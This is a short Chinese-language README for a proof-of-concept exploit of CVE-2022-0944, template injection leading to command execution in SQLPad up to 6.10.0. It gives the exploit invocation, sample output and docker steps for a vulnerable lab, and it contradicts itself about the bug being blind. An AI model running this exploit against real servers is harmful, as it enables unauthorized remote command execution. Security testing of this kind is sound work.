CVE-2022-0944

SQLPad - 模板注入

这是一个盲漏洞，意味着输出会直接返回在响应中。

利用

使用以下命令运行脚本：
python3 exploit.py --url http://localhost:13000 --command 'ls -la > /tmp/test' --username admin --password password

输出

[*] Login was successfull
[*] Exploited!

测试环境

使用 docker：

• 启动 docker 容器 - sudo docker run -p 13000:3000 -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=password --name vulnerable-sqlpad sqlpad/sqlpad:6.10.0
• 连接到 docker 容器 - sudo docker exec -it vulnerable-sqlpad /bin/bash

要访问 Web 界面，请使用 URL http://localhost:13000 和凭据 admin:password。

受影响版本

<= 6.10.0

来源

https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb

免责声明

仅用于教育目的或 CTF 挑战。